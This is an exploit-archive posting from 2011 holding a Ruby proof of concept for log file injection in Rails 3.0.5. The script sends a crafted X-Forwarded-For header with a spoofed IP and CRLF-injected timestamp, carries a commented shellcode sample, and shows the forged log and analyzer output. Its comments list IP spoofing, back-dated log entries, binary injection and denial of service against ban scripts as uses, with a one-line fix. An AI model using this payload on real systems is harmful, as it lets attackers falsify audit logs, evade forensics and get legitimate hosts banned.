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Rails 3.0.5 Log File Injection Proof Of Concept

Rails 3.0.5 Log File Injection Proof Of Concept
Posted Mar 14, 2011
Authored by Jimmy Bandit

Rails version 3.0.5 log file injection proof of concept exploit.

tags | exploit, proof of concept
MD5 | 246edae3701e25772c7c37c4bc75c487

Rails 3.0.5 Log File Injection Proof Of Concept

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#Encoding: UTF-8
#
# Log-File-Injection - Ruby on Rails 3.05
# possibilities:
# - possible date back attacks (tried with request-log-analyzer: worked but teaser_check_warnings)
# - ip spoofing
# - binary log-injections
# - DOS if ip is used with an iptables-ban-script
#
# !! works only on intranet apps !!
#
# Fix:
# validate request.remote_ip until they fix it
# -----------------------
# jimmybandit.com
# http://webservsec.blogspot.com

require 'rubygems'
require 'mechanize'
require 'iconv'

ip = "192.168.1.21 "
# some shell code just for binary-data demo

payload = ip + "at Mon Jan 01 00:00:00 +1000 2009\x0D\0x0A" # date back attacks with ipspoofing
# payload = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" binarypayload is also possible

a = Mechanize.new
a.pre_connect_hooks << lambda { |p| p[:request]['X-Forwarded-For'] = payload }

page = a.get('http://192.168.1.21/people')

# results
=begin
################################
production.log:
################################
Started GET "/people" for 192.168.1.21 at Mon Jan 01 00:00:00 +1000 2009 at Sun Mar 13 17:47:47 +0100 2011
Processing by PeopleController#index as
Rendered people/index.html.erb within layouts/application (24.4ms)
Completed 200 OK in 63ms (Views: 32.9ms | ActiveRecord: 3.6ms)

################################
request-log-analyzer:
################################
web@debian:~/testapp/log$ request-log-analyzer production.log
Request-log-analyzer, by Willem van Bergen and Bart ten Brinke - version 1.10.0
Website: http://railsdoctors.com

production.log: 100% [==========] Time: 00:00:00

Request summary
━━━━━━━━━━━━━━━━━━━━━━━
Parsed lines: 14
Skipped lines: 0 <-------
Parsed requests: 7 <-------
Skipped requests: 0
Warnings: teaser_check_failed: 7

First request: 2009-01-01 00:00:12
Last request: 2009-01-01 00:00:12
Total time analyzed: 0 days
Request distribution per hour
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
0:00 ┃ 7 hits/day ┃ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
1:00 ┃ 0 hits/day ┃
...
=end












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